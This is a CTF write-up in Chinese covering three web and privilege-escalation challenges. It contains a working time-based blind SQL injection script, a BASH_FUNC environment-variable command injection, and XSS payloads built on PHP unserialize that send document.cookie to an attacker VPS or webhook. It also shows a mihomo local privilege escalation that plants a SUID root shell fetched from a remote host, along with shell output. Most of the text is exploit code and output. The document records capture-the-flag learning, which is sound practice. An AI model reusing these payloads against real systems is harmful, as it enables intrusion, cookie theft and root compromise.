hard_php

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

session_start();
include_once("lib.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}

function checkSql($s) {
if(preg_match("/regexp|between|replace|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|benchmark|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}

if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['password']) && $_POST['password'] != '') {

$username=$_POST['username'];
$password=$_POST['password'];
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}
checkSql($password);
$sql="SELECT password FROM users WHERE username='admin' and password='$password';";
//echo($sql);
$user_result=mysqli_query($con,$sql);
$row = mysqli_fetch_array($user_result);
//var_dump($row);
if (!$row) {
alertMes("something wrong",'index.php');
}
//echo($row['password']);
if ($row['password'] === $password) {
$_SESSION['user']['islogin']=true;
alertMes("login success!!",'admin.php');
} else {
alertMes("something wrong",'index.php');
}
}

if(isset($_GET['source'])){
show_source(__FILE__);
die;
}
?>

如果有replace那么很容易打quine注入,可惜ban了,不过听说用A as B这种也能做?

还是看看时间盲注吧

1
1'or/**/if(password/**/like/**/'a%',(select/**/count(*)/**/from/**/information_schema.columns/**/A,information_schema.columns/**/B,information_schema.columns/**/C),0)#

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests,time
alp = "1234567890abcdefghijklmnopqrstuvwxyz~"

url = "https://eci-2ze8pzj780kl2qmhte2x.cloudeci1.ichunqiu.com:80/login.php"
flag = "asdahsofvhoi325890hf23094yhoas"
while True:
for i in alp:
data={"username":"admin","password":f"1'or/**/if(password/**/like/**/'{flag+i}%',(select/**/count(*)/**/from/**/information_schema.columns/**/A,information_schema.columns/**/B,information_schema.columns/**/C),0)#"}
# print(data)
try:
resp = requests.post(url, data, timeout=0.8)
except:
flag += i
print(flag)
break
if i == "~":
exit("over")

得到密码:asdahsofvhoi325890hf23094yhoasifb2

admin.php

1
2
3
4
5
6
7
8
9
<?php
session_start();
if (!isset($_SESSION['user']['islogin'])){
// echo "<h1 style = 'text-align: center;'>对不起,您无权访问此界面,请登陆</h1>";
echo "<script>location='./index.php';</script>";
exit;
}

system('echo "This is a test page, but as an administrator, you can see the files in the current directory</h1>";ls');

发现有adca4977cb42016071530fb8888105c7.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);

foreach ($_REQUEST['env'] as $key => $value) {
if (blacklist($value)) {
$a=putenv("{$key}={$value}");
}else{
echo "Hack!!!";
}
}
highlight_file(__FILE__);
function blacklist($a){
if (preg_match('/ls|x|cat|tac|tail|nl|f|l|a|g|more|less|head|od|vi|sort|rev|paste|file|grep|uniq|\?|\`|\~|\@|\.|\'|\"|\\\\/is', $a) === 0){
return true;
}
else{
return false;
}
}
include "./admin.php";
?>

明显是p神的环境变量注入,这里用的是 ?env[BASH_FUNC_ECHO()]=(){ dir /; }

dir列出目录发现 flag 为 f1ag,直接用 php 读:php /*1*,即?env[BASH_FUNC_ECHO()]=(){ php /*1*; }

Silent Profit

bot.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const express = require('express');
const puppeteer = require('puppeteer');


const app = express();


app.use(express.urlencoded({ extended: false }));

const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;

app.post('/report', async (req, res) => {
const { url } = req.body;

if (!url || !url.startsWith('http://challenge/')) {
return res.status(400).send('Invalid URL');
}

try {
console.log(`[+] Visiting: ${url}`);
const browser = await puppeteer.launch({
headless: 'new',
args: [
'--no-sandbox',
'--disable-setuid-sandbox',
]
});

await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });
const page = await browser.newPage();
await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });
await page.waitForNetworkIdle({timeout: 5000})
await browser.close();
res.send('URL visited by bot!');
} catch (err) {
console.error(`[!] Error visiting URL:`, err);
res.status(500).send('Bot error visiting URL');
}
});

app.get('/', (req, res) => {
res.send(`
<h2>XSS Bot</h2>
<form method="POST" action="/report">
<input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" />
<button type="submit">Submit</button>
</form>
`);
});

app.listen(PORT, () => {
console.log(`XSS bot running at port ${PORT}`);
});

index.php

1
2
3
<?php 
show_source(__FILE__);
unserialize($_GET['data']);

只有这两行代码去实现反序列化,想要实现xss的攻击,肯定是需要控制信息显示在浏览器上面

题目环境是php8.4 ,所以可能就是这个版本有关于unserialize函数的报错的相关修改

PHP 8.1 新引入的 enum 枚举序列化格式,传入一个 enum 对象的错误格式,会发现可以控制部分报错信息显示到浏览器上面

alt text

试着传入一个xss的payload, 但是浏览器好像并没有解析,没有弹窗

alt text

因为常规的错误信息输出函数(如php_error_docref)会对输出进行HTML转义,所以无法直接触发XSS。
所以需要寻找一个在反序列化过程中触发的、且不会对输出进行HTML转义的错误

PHP 8.2 开始禁止动态创建类中未定义的属性,当尝试设置动态属性的时候就会触发一个弃用的警告,并且会显示出属性名
此警告通过 zend_error() 输出,不会进行 HTML 转义

这样我们就可以通过控制属性名来进行xss了

添加一个test类进行测试
反序列化时添加一个动态的属性aa,就会发现这个属性名被回显到里浏览器上面

alt text

将其替换成xss的payload,发现可以弹窗

alt text

那么只需要找一个php的内置类,并且是可序列化的,动态添加属性进行报错就行了

这样的类有很多,可以用Exception来构造

1
O:9:"Exception":1:{s:25:"<script>alert(1)</script>";i:2;}

最终的payload:

1
2
3
4
5
?data=O:9:"Exception":1:{s:74:"<script>fetch(`http://vps:port?flag=${document.cookie}`)</script>";i:2;}

or

?data=O:9:"Exception":1:{s:98:"<img src=x onerror='window.location.href=`https://WEBHOOK/a?${document.cookie}`'/>";s:5:"value";}

mohomi

mihomo的本地提权漏洞

先nc连上,是一个app用户

本地生成suid程序

suid.c

1
2
3
4
5
6
7
8
#include <unistd.h>

int main() {
setuid(0);
setgid(0);
execl("/bin/sh", "sh", NULL);
return 0;
}

编译打包

1
2
3
4
gcc -static suid.c -o suid
chown root:root suid
chmod 4755 suid
zip aaaa.zip suid

vps上放一个1.sh

1
2
3
4
5
6
7
8
socat - UNIX-CONNECT:/etc/mihomo/mihomo.sock <<EOF
PUT /configs HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 124

{"payload": "{\"external-ui\": \"d\", \"external-ui-url\": \"http://vps/aaaa.zip\", \"external-ui-name\": \"e\"}"}
EOF

在靶机上下载1.sh,执行

1
2
3
wget http://47.120.14.151/1.sh
chmod +x 1.sh
./1.sh

返回

1
2
3
HTTP/1.1 204 No Content
Vary: Origin
Date: Tue, 02 Sep 2025 18:33:53 GMT

此时suid程序已经写到靶机里了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
8acc449052a2:/etc/mihomo$ cd d
cd d
8acc449052a2:/etc/mihomo/d$ ls
ls
e
8acc449052a2:/etc/mihomo/d$ cd e
cd e
8acc449052a2:/etc/mihomo/d/e$ ls
ls
suid
8acc449052a2:/etc/mihomo/d/e$ ./suid
./suid
/etc/mihomo/d/e # ^[[30;19Rls
ls
suid
/etc/mihomo/d/e # ^[[30;19Rls /
ls /
bin etc lib mnt proc run srv tmp var
dev home media opt root sbin sys usr
/etc/mihomo/d/e # ^[[30;19Rls /root
ls /root
flag_98c5cafb96520c9678d19d6bd842edd7.txt
/etc/mihomo/d/e # ^[[30;19Rcat /root/flag*
cat /root/flag*
flag{this_is_a_fake_flag_for_testing_purposes}/etc/mihomo/d/e # ^[[30;19Rl